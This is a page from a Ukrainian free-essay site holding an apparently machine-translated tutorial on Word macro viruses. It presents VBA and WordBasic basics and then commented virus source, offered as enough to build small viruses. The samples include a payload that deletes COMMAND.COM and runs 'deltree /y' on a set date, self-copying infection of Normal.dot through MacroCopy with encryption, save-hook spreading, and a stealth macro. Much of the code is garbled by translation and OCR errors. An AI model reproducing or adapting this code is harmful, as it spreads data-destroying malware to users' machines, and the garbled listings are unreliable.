ПЕРЕЛІК ДИСЦИПЛІН:
  • Адміністративне право
  • Арбітражний процес
  • Архітектура
  • Астрологія
  • Астрономія
  • Банківська справа
  • Безпека життєдіяльності
  • Біографії
  • Біологія
  • Біологія і хімія
  • Ботаніка та сільське гос-во
  • Бухгалтерський облік і аудит
  • Валютні відносини
  • Ветеринарія
  • Військова кафедра
  • Географія
  • Геодезія
  • Геологія
  • Етика
  • Держава і право
  • Цивільне право і процес
  • Діловодство
  • Гроші та кредит
  • Природничі науки
  • Журналістика
  • Екологія
  • Видавнича справа та поліграфія
  • Інвестиції
  • Іноземна мова
  • Інформатика
  • Інформатика, програмування
  • Юрист по наследству
  • Історичні особистості
  • Історія
  • Історія техніки
  • Кибернетика
  • Комунікації і зв'язок
  • Комп'ютерні науки
  • Косметологія
  • Короткий зміст творів
  • Криміналістика
  • Кримінологія
  • Криптология
  • Кулінарія
  • Культура і мистецтво
  • Культурологія
  • Російська література
  • Література і російська мова
  • Логіка
  • Логістика
  • Маркетинг
  • Математика
  • Медицина, здоров'я
  • Медичні науки
  • Міжнародне публічне право
  • Міжнародне приватне право
  • Міжнародні відносини
  • Менеджмент
  • Металургія
  • Москвоведение
  • Мовознавство
  • Музика
  • Муніципальне право
  • Податки, оподаткування
  •  
    Бесплатные рефераты
     

     

     

     

     

     

         
     
    Макровіруси
         

     

    Інформатика, програмування

    МАКРО-ВІРУСИ

    У цьому розділі розказано
    про макровірусів. Детально опи-
    сану процедура та методи за-
    раженія файлів. Представлений
    вихідний текст макровіруси
    з докладними коментаря-
    ми. Наведено основні
    відомості про мову VBA, його про-
    цедурах, функціях, стандарт-
    них конструкціях.

    Як відомо, останнім часом велике поширення одержали
    макро-віруси. За відомостями з різних джерел, на ці віруси
    припадає від 70 до 80 відсотків заражень. Викладений нижче мате-
    ріал допоможе розібратися у вірусах цього типу.

    Інструментарій

    Для вивчення макро-вірусів знадобиться якийсь програмне забезпе-чення
    . У якості "полігону" необхідний MS-WORD версії 6.0 або
    вище. Для вивчення зашифрованих макросів може стати в нагоді диз-
    асемблер макросів (автор AURODREPH з VBB). Для більш повного
    розуміння всього викладеного нижче бажано мати базові знання
    про WORD BASIC.

    Щоб убезпечити робочі файли від плодів експериментів, настою-
    тельно, обов'язково створіть резервну копію шаблону
    NORMAL.DOT в каталозі WINWORD6TEMPLATE, так як саме
    цей документ зазвичай заражається макро-вірусом. Коли все готово, са-
    мій час перейти до основ макро-вірусів.

    Загальні відомості

    Макрос - це програма, написана на деякій мові, яка іс-
    користується зазвичай для автоматизації певних процесів всередині
    додатків. У даному випадку розмова піде про мови Visual Basic for
    Applications (VBA) і WordBasic (WB), що Microsoft використовує в
    своїх програмах (зокрема, Excel, Project і PowerPoint використовують
    VBA, a WinWord - WB).

    Далі будемо вважати стандартною мовою VBA, так як він представля-
    ет собою спробу уніфікувати Макромова, зробити його загальним для
    всіх програм Microsoft. Незважаючи на те, що WB має деякі від-
    лічія, у тому числі і в синтаксисі, структура коду цих мов схожа.
    При необхідності буде особливо відзначено, що мова йде про WB.

    Макрос VBA - це викликаються процедури. Вони бувають двох типів:

    процедури-підпрограми та процедури-функції.

    Процедури-підпрограми можуть виконуватися безпосередньо або ви-
    ни опиняються з інших макросів. Синтаксис їх наступний:

    Sub <Імя_Макроса>

    -> код макросу <-

    'Коментар починається з апострофа

    End Sub

    Приклад;

    'Схоже, що макрос відкриває діалогове вікно і виводить повідомлення

    Sub Stupid_Greeting

    MsgBox "Hello World!"

    End Sub

    Процедури-функції (також звані просто функціями) повертається-
    ють значення, яке може бути передано як параметр інший
    процедурою. Їх синтаксис:

    Function <ім'я_функції> (Аргументи)
    -> Інструкції <-
    'Коментар
    End Function

    Приклад:

    'Підсумовує параметри а і b і повертає
    ' результат в змінну "AddAB"
    Function AddAB (ab)
    AddAB = a + b
    End Function

    Звичайно, у документ можна вставити макросів стільки, скільки потрібно
    (або скільки хочеться), обмежень на їх кількість немає. Набір мак-
    росів (процедур-підпрограм і процедур-функцій), що складають до-
    документах, називається модулем VBA.

    Мова VBA працює також з об'єктами (всередині модулів VBA можна
    робити посилання на документи, графіку). Об'єкти володіють властивостями.
    Наприклад, властивістю (або атрибутом) об'єкта є його колір.

    VBA також дозволяє працювати зі змінними. Як будь-яку мову струк-
    турне типу, VBA має типові конструкції:

    цикл "For-next":

    Sub Counter "Процедура

    lnfect_Num = 0

    For Count = 1 to 10 'Цикл від 1 до 10

    lnfect_Num = lnfect_Num + Count

    Next Count

    MsgBox "досягли максимальної кількості заражень"

    End Sub

    4-1436

    умова "If-then":

    Sub lnfect_Check

    If lnfect_Num = 0 Then MsgBox "Файл не заражений"

    End Sub

    конструкція "With-end with" (використовується для роботи з декількома
    властивостями конкретного об'єкта):

    Sub ChangeProperties
    With Selection
    . Font.Bold = True

    . Font.Colorlndex = 3 'червоний колір
    End With
    End Sub

    селектор "Select case-end case":

    Sub CheckJnfection

    Select Case lnfect_Num

    Case 0

    MsgBox "Файл не заражений"

    Case is> Про

    MsgBox "Файл заражений"

    Case is <Про

    lnfect_Num = 0

    End Case

    End Sub

    Корисним інструментом для роботи з VBA є вікно налагодження.
    У ньому можна трассіровать код, вносити до нього зміни і робити мно-
    гое інше. У процесі налагодження для зупинки на деякий час іс-
    полнению коду використовуються прапори. Щоб можна було аналізувати
    вміст конкретних змінних і/або інструкцій, після кожної
    команди виводяться повідомлення (в відладчик VBA для переривання ис-
    полнению коду можна ставити також контрольні точки).

    Потрібно звернути увагу на різноманітні аргументи функцій.
    Як вже говорилося, структура їх така:

    Function <Ім'я> (Аргументи)

    [.]
    End Function

    Аргументами можуть бути константи, змінні або вирази.
    Процедури можуть бути і без аргументів.

    Function Get_Name ()
    Name = Application.UserName
    End Function

    Деякі функції завжди вимагають фіксоване число аргументів
    (до 60). Інші функції мають кілька обов'язкових аргументів,
    а інші можуть бути відсутні.

    Після того, як основи VBA стали зрозумілі, йдемо далі. Отже, виру-
    си і "троянці" на VBA.

    Мова VBA універсальний, і тому є дві причини. По-перше, ця мова
    простий у вивченні і використанні, оскільки вона є мовою ви-
    зуального програмування, він орієнтований на події, а не на
    об'єкти. З його допомогою без особливих витрат часу дуже легко созда-
    вати складні модулі. По-друге, можна використовувати велику кількістю-
    ство наперед визначених функцій, що полегшують роботу. По-третє, име-
    ються функції (або макроси) автоматичного виконання, що
    дозволяє спростити написання процедур автокопірованія, занесення
    в пам'ять і інших використовуваних стандартними DOS-вірусами.

    Крім цього, перевагою VBA є властивість переносимості.
    VBA працює під Win З.х, Win95, WinNT, MacOS і так далі, тобто
    в будь-якій операційній системі, де можна запустити програми його
    підтримують.

    VBA являє собою мову, адаптований до мови програми,
    з-під якого він запущений. Це означає, що якщо на комп'ютері ус-
    тановлена, наприклад, іспанська версія WinWord, то імена предопреде-
    лених функцій будуть також іспанською. Так що два наступних
    макросу - зовсім не одне й те саме.

    Перший макрос (іспанська):

    Sub Demo_Macro
    Con Seleccion.Fuente
    . Nombre = "Times"
    Fin Con
    End Sub

    Другий макрос (англійська):

    Sub Demo_Macro
    With Selection.Font
    . Name = "Times"

    4 *

    End With
    End Sub

    Останній макрос не буде працювати в іспанській версії WinWord
    (а перше - в англійській) - він викличе помилку виконання макросу.
    Ще відзначимо, що VBA - мова інтерпретується (некомпіліруемого)
    типу, так що кожна помилка виконання проявляється "в польоті".

    Існують функції, єдині для всіх версій VBA, незалежно
    від мови. Наприклад, автоматичний макрос AutoExec.

    Усього таких спеціальних макросів п'ять, виконуються вони автомати-
    но:

    AutoExec: це макрос, активується при завантаженні текстового процес-
    ра, але тільки в тому випадку, якщо він збережений у шаблоні Normal.dot або
    в каталозі стандартних додатків;

    AutoNew: активізується при створенні нового документа;

    AutoOpen: активізується при відкритті існуючого документа;

    AutoClose: активізується при закритті документа;

    AutoExit: активізується при виході з текстового процесора.

    Як доказ сили й універсальності цих макросів рас-
    дивимося наступний фрагмент коду (про мову вже домовилися).

    'Макрос найбільш ефективний, якщо його зберегти як AutoExit
    Sub Main

    'Перевіримо реєстраційне ім'я
    If Application. Username <> "MaD_MoTHeR" Then

    'Знімемо атрибути COMMAND.COM
    SetAttr "C: COMMAND.COM", 0

    'Відкриємо для перевірки - раптом з'являться помилки
    Open "CACOMMAND.COM" for Output as # 1

    'Якщо помилки є, то закриємо.
    Close # 1

    'і видалимо

    Kill "CACOMMAND.COM"

    End If

    'Перевіримо місяць і дату. Якщо 29 лютого, то виконаємо
    'команду "deltree/у> nul
    If Month (Now ()) = 2 Then
    If Day (Now ()) = 29 Then
    Shell "deltree/y *.*> nu"
    End If
    End If
    End Sub

    Що робить цей макрос? При виході з WinWord він перевіряє два па-
    раметра: ім'я, на яке зареєстрований WinWord (якщо це не
    MaD_MoTHeR, то буде вилучений файл COMMAND.COM), і поточну
    системну дату (якщо це 29 лютого, виконується команда "deltree/у
    *.*> Nub).

    Дуже важливо знати, як адаптувати автоматичний макрос (нижче
    наведено найпростіший варіант), щоб активізувати його в відкриває-
    мый за замовчуванням шаблон WinWord.

    Це робиться так:

    Визначається змінна, в яку записується повне ім'я макросу:

    name $ = WindowName $()+": AutoNew "

    'цей макрос буде виконуватися кожного разу

    'при створенні нового документа

    Тепер треба записати макрос в шаблон NORMAL.DOT простий ко-
    команду:

    MacroCopy name $, "Global: AutoNew"

    Це стандартний спосіб роботи макро-вірусів, але є ще багато дру-
    гих, більш цікавих способів зараження. Всього то й потрібно, що не-
    багато уяви і кілька рядків коду. Одним із трюків, кото-
    рий ускладнює подібні віруси і ускладнює їх аналіз, є
    кодування макро-вірусів.

    MacroCopy "MyTemplate: MyMacro", "GlobahAutoClose", 1

    Якщо виконується команда MacroCopy з параметром, що дорівнює 1 (або
    іншому числу більше 0), то в результаті копіювання буде отриманий
    тільки що виконується макрос, який не можна редагувати.

    Більшість макро-вірусів мають типову структуру. Вони починаючи-
    ются з автовиполняемого макросу, заражающего глобальний шаблон
    Normal.dot. Також до їх складу входять деякі макроси, які зара-
    жають файли при певних діях (FileSaveAs, FileSave,
    ToolsMacros). Документи заражаються при вчиненні над ними опера-
    цій вірусними макросами, тобто вони будуть інфікуватися при
    відкритті.

    Код для процедури автовиполненія може виглядати приблизно так:

    Sub MAIN

    On Error Goto Abort

    iMacroCount = CountMacros (0, 0) 'Перевірка на зараженість

    For i = 1 To iMacroCount

    If MacroName $ (i, 0, 0) = "PayLoad" Then

    binstalled =- 1 'за допомогою макросу Payload

    End If

    If MacroName $ (i, 0, 0) = "FileSaveAs" Then

    bTooMuchTrouble =- 1 'але якщо є макрос FileSaveAs,
    ' то заразити важко

    End If

    Next i

    If Not binstalled And Not bTooMuchTrouble Then

    'Додамо макроси FileSaveAs та копії AutoExec і FileSave
    ' Payload використовується тільки для перевірки на зараженість
    ', 1 - кодує макроси, роблячи їх нечитабельним в Word

    iWW6llnstance = Val (GetDocumentVar $ ( "WW6lnfector"))

    sMe $ = FileName $ ()

    Macro $ = sMe $ + ": PayLoad"

    MacroCopy Macro $, "Global: PayLoad", 1

    Macro $ = sMe $ + ": FileOpen" 'Відбуватиметься зараження

    MacroCopy Macro $, "GlobahFileOpen", 1

    Macro $ = sMe $ + ": FileSaveAs"

    MacroCopy Macro $, "GlobahFileSaveAs", 1

    Macro $ = sMe $ + ": AutoExec"

    MacroCopy Macro $, "GlobahAutoExec", 1

    SetProfileString "WW6I", Str $ (iWW6llnstance 1)

    End If

    Abort:

    End Sub

    Процедура SaveAs

    Вона копіює макро-вірус в активний документ при його збереженні
    через команду File/SaveAs. Ця процедура використовує багато в чому схо-
    жую з процедурою AutoExec технологію. Код для неї:

    Sub MAIN

    Dim dig As FileSaveAs

    GetCurValues dig

    Dialog dig

    If (Dlg.Format = 0) Or (dlg.Format = 1) Then

    MacroCopy "FileSaveAs", WindowName $()+": FileSaveAs "

    'заражається при збереженні документа
    MacroCopy "FileSave", WindowName $()+": FileSave "
    MacroCopy "PayLoad", WindowName $()+": PayLoad "
    MacroCopy" FileOpen ", WindowName $()+": FileOpen"

    'При відкритті документа
    Dlg.Format = 1
    End If

    FileDaveAs dig
    End Sub

    Цієї інформації цілком достатньо для створення невеликих макро-
    вірусів.

    Спеціальні процедури

    Існує декілька способів приховати вірус або зробити його більш ефективним
    . Наприклад, можна створити спеціальний макрос, ховаю-
    щий вірус, якщо Tools/Macro відкривається для перегляду. Код такого
    макросу може виглядати приблизно так:

    Sub MAIN
    On Error Goto ErrorRoutine

    OldName $ = NomFichier $ ()

    If macros.bDebug Then

    MsgBox "start ToolsMacro"

    Dim dig As OutilsMacro

    If macros.bDebug Then MsgBox "1"

    GetCurValues dig

    If macros.bDebug Then MsgBox "2"

    On Error Goto Skip
    Dialog dig
    OutilsMacro dig
    Skip:

    On Error Goto ErrorRoutine 'При помилку на вихід
    End If

    REM enable automacros
    DisableAutoMacros 0

    macros. SavToGlobal (01dName $)

    macros.objectiv

    Goto Done 'Перехід на мітку Done

    ErrorRoutine:

    On Error Goto Done "Перехід на мітку Done
    If macros.bDebug Then

    MsgBox "error" + Str $ (Err) + "occurred" 'Повідомлення про помилку
    End If

    Done:

    End Sub

    Макро-віруси також можуть включати зовнішні процедури. Наприклад,
    вірус Nuclear намагається відкомпілювати і запустити зовнішній
    файл-рознощик вірусу, деякі троянські макроси намагаються фор-
    матувати вінчестер при відкритті документа.

    Приклад макро-вірусу

    Вище були викладені основи для вивчення макро-вірусів. Прийшов
    часом розглянути вихідні тексти.

    Macro name: AutoNew [AUTONEW] "U"
    Encryption key: DF
    Sub MAIN

    'Включаємо обробку автоматичних макросів
    DisableAutoMacros 0

    'Перевіримо, чи встановлений макрос. Якщо макрос AutoExec
    'присутня, вважаємо, що файл заражений
    If (lnstalled = 0) And (Forgetlt = 0) Then

    'заразив. Копіюємо макрос

    MacroCopy WindowName $()+": AutoExec "," GlobahAutoExec ", 1

    MacroCopy WindowName $()+": AutoNew "," Global: AutoNew ", 1

    MacroCopy WmdowName $()+": AutoOpen "," Global: AutoOpen ", 1

    MacroCopy WindowName $()+": DateiSpeichem "," Global: DateiSpeichern ", 1

    MacroCopy WindowName $()+": DateiSpeichernUnter ",

    "Global.-DateiSpeichernllnter", 1

    MacroCopy WindowName $()+": DateiBeenden ",

    "GlobahDateiBeenden", 1

    MacroCopy WindowName $ () + ": ExtrasOptionen",

    "Global: ExtrasOptionen", 1

    MacroCopy WindowName $()+": DateiDokvorlagen ",

    "GlobaLDateiDokvorlagen", 1

    MacroCopy WindowName $()+": lt "," Global: lt ", 1

    MacroCopy WindowName $()+": DateiDrucken "," GlobahDateiDrucken ", 1

    End If

    End Sub

    'Функція перевіряє, інстальований Чи макрос AutoExec
    Function Installed

    'Встановимо змінну Installed в 0 (ініціалізація змінної).
    "При позитивному результаті перевірки встановимо її в 1
    lnstalled = 0

    'Перевіримо, чи є макроси
    If CountMacros (O)> 0 Then

    "Перевіримо імена макросів. Якщо є AutoExec,

    "встановимо змінну Installed в 1

    For i = 1 To CountMacros (O)

    If MacroName $ (i, 0) = "AutoExec" Then

    lnstalled = 1

    End If

    Next i

    End If

    End Function

    Function Forgetit

    Forgetlt = 0

    Section $ = "Compatibility"

    ProfilName $ = "Nomvir"

    BlaBla $ = GetProfileString $ (Section $, ProfilName $)

    If BlaBla $ = "Ox0690690" Then

    Forgetlt = 1

    End If

    End Function

         
     
         
    Реферат Банк
     
    Рефераты
     
    Бесплатные рефераты
     

     

     

     

     

     

     

     
     
     
      Все права защищены. Reff.net.ua - українські реферати ! DMCA.com Protection Status